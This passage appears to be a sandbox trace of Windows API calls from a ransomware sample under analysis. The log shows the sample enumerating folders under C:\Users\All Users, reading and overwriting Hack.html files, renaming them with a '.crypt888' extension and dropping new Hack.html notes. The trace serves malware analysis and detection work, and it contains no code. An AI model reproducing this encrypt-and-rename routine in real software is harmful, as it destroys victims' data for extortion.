[0090.783] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\Hack.html" (normalized: "c:\\users\\all users\\package cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.783] GetFileType (hFile=0x174) returned 0x1 [0090.783] GetFileType (hFile=0x174) returned 0x1 [0090.785] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Start Menu\\Hack.html", lpFilePart=0x0) returned 0x27 [0090.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0090.785] CreateFileW (lpFileName="C:\\Users\\All Users\\Start Menu\\Hack.html" (normalized: "c:\\users\\all users\\start menu\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.786] GetFileType (hFile=0x174) returned 0x1 [0090.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0090.786] GetFileType (hFile=0x174) returned 0x1 [0090.786] WriteFile (in: hFile=0x174, lpBuffer=0x2775fb0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2775fb0*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0090.787] CloseHandle (hObject=0x174) returned 1 [0090.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0090.787] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun", lpFilePart=0x0) returned 0x16 [0090.787] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\", lpFilePart=0x0) returned 0x17 [0090.788] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0090.788] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.788] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.788] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.788] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0090.788] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0090.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0090.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0090.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0090.789] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun", lpFilePart=0x0) returned 0x16 [0090.789] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\", lpFilePart=0x0) returned 0x17 [0090.789] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0090.789] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.789] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.789] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0090.789] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0090.789] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0090.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0090.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0090.790] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Hack.html", lpFilePart=0x0) returned 0x20 [0090.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0090.790] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Hack.html" (normalized: "c:\\users\\all users\\sun\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.790] GetFileType (hFile=0x174) returned 0x1 [0090.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0090.790] GetFileType (hFile=0x174) returned 0x1 [0090.790] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0090.790] ReadFile (in: hFile=0x174, lpBuffer=0x277842c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x277842c*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0090.791] CloseHandle (hObject=0x174) returned 1 [0090.834] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Hack.html", lpFilePart=0x0) returned 0x20 [0090.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0090.834] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Hack.html" (normalized: "c:\\users\\all users\\sun\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.835] GetFileType (hFile=0x174) returned 0x1 [0090.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0090.835] GetFileType (hFile=0x174) returned 0x1 [0090.835] WriteFile (in: hFile=0x174, lpBuffer=0x27c6574*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27c6574*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0090.836] CloseHandle (hObject=0x174) returned 1 [0090.836] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Hack.html", lpFilePart=0x0) returned 0x20 [0090.836] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Hack.html.crypt888", lpFilePart=0x0) returned 0x29 [0090.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0090.836] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Hack.html" (normalized: "c:\\users\\all users\\sun\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc00c3e0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbc00c3e0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc7567000, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0090.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0090.836] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Sun\\Hack.html" (normalized: "c:\\users\\all users\\sun\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Sun\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\sun\\hack.html.crypt888")) returned 1 [0090.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0090.837] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java", lpFilePart=0x0) returned 0x1b [0090.837] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\", lpFilePart=0x0) returned 0x1c [0090.837] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a228 [0090.837] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.837] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.838] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.838] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.838] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0090.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0090.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0090.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0090.838] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java", lpFilePart=0x0) returned 0x1b [0090.838] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\", lpFilePart=0x0) returned 0x1c [0090.838] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a228 [0090.838] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.839] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.839] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0090.839] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0090.839] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0090.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0090.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0090.839] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Hack.html", lpFilePart=0x0) returned 0x25 [0090.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0090.839] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.839] GetFileType (hFile=0x174) returned 0x1 [0090.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0090.839] GetFileType (hFile=0x174) returned 0x1 [0090.839] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0090.839] ReadFile (in: hFile=0x174, lpBuffer=0x27c8cfc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27c8cfc*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0090.840] CloseHandle (hObject=0x174) returned 1 [0090.855] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Hack.html", lpFilePart=0x0) returned 0x25 [0090.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0090.855] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.856] GetFileType (hFile=0x174) returned 0x1 [0090.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0090.856] GetFileType (hFile=0x174) returned 0x1 [0090.856] WriteFile (in: hFile=0x174, lpBuffer=0x2816e4c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2816e4c*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0090.857] CloseHandle (hObject=0x174) returned 1 [0090.857] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Hack.html", lpFilePart=0x0) returned 0x25 [0090.857] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2e [0090.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0090.857] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc00c3e0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbc00c3e0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc75b32c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0090.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0090.857] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\sun\\java\\hack.html.crypt888")) returned 1 [0090.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0090.858] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update", lpFilePart=0x0) returned 0x27 [0090.858] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update\\", lpFilePart=0x0) returned 0x28 [0090.858] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a628 [0090.858] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.858] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.858] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.858] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0090.858] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0090.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0090.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0090.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0090.859] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update", lpFilePart=0x0) returned 0x27 [0090.859] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update\\", lpFilePart=0x0) returned 0x28 [0090.859] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a628 [0090.859] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.859] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.859] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0090.859] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0090.859] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0090.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0090.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0090.860] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html", lpFilePart=0x0) returned 0x31 [0090.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0090.860] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\java update\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.860] GetFileType (hFile=0x174) returned 0x1 [0090.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0090.860] GetFileType (hFile=0x174) returned 0x1 [0090.860] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0090.860] ReadFile (in: hFile=0x174, lpBuffer=0x28199e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28199e0*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0090.861] CloseHandle (hObject=0x174) returned 1 [0090.874] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html", lpFilePart=0x0) returned 0x31 [0090.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0090.874] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\java update\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0090.875] GetFileType (hFile=0x174) returned 0x1 [0090.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0090.875] GetFileType (hFile=0x174) returned 0x1 [0090.875] WriteFile (in: hFile=0x174, lpBuffer=0x2867b48*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x2867b48*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0090.876] CloseHandle (hObject=0x174) returned 1 [0090.876] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html", lpFilePart=0x0) returned 0x31 [0090.876] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html.crypt888", lpFilePart=0x0) returned 0x3a [0090.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0090.877] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\java update\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc00c3e0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbc00c3e0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc75d9420, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0090.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0090.877] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\java update\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\sun\\java\\java update\\hack.html.crypt888")) returned 1 [0090.877] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html", lpFilePart=0x0) returned 0x31 [0090.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0090.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\java update\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.880] GetFileType (hFile=0x174) returned 0x1 [0090.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0090.880] GetFileType (hFile=0x174) returned 0x1 [0090.880] WriteFile (in: hFile=0x174, lpBuffer=0x286a4a8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x286a4a8*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0090.881] CloseHandle (hObject=0x174) returned 1 [0090.881] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Java\\Hack.html", lpFilePart=0x0) returned 0x25 [0090.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0090.881] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Hack.html" (normalized: "c:\\users\\all users\\sun\\java\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.882] GetFileType (hFile=0x174) returned 0x1 [0090.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0090.882] GetFileType (hFile=0x174) returned 0x1 [0090.882] WriteFile (in: hFile=0x174, lpBuffer=0x286cc40*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x286cc40*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0090.883] CloseHandle (hObject=0x174) returned 1 [0090.883] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Sun\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Sun\\Hack.html", lpFilePart=0x0) returned 0x20 [0090.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0090.883] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Hack.html" (normalized: "c:\\users\\all users\\sun\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0090.883] GetFileType (hFile=0x174) returned 0x1 [0090.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0090.883] GetFileType (hFile=0x174) returned 0x1 [0090.884] WriteFile (in: hFile=0x174, lpBuffer=0x286f3c8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x286f3c8*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0090.885] CloseHandle (hObject=0x174) returned 1 [0090.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0090.885] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates", lpFilePart=0x0) returned 0x1c [0090.885] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates\\", lpFilePart=0x0) returned 0x1d [0090.885] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0090.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0090.887] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Templates\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Templates\\Hack.html", lpFilePart=0x0) returned 0x26 [0090.887] SetThreadErrorMode (dwNewMode=0x1, 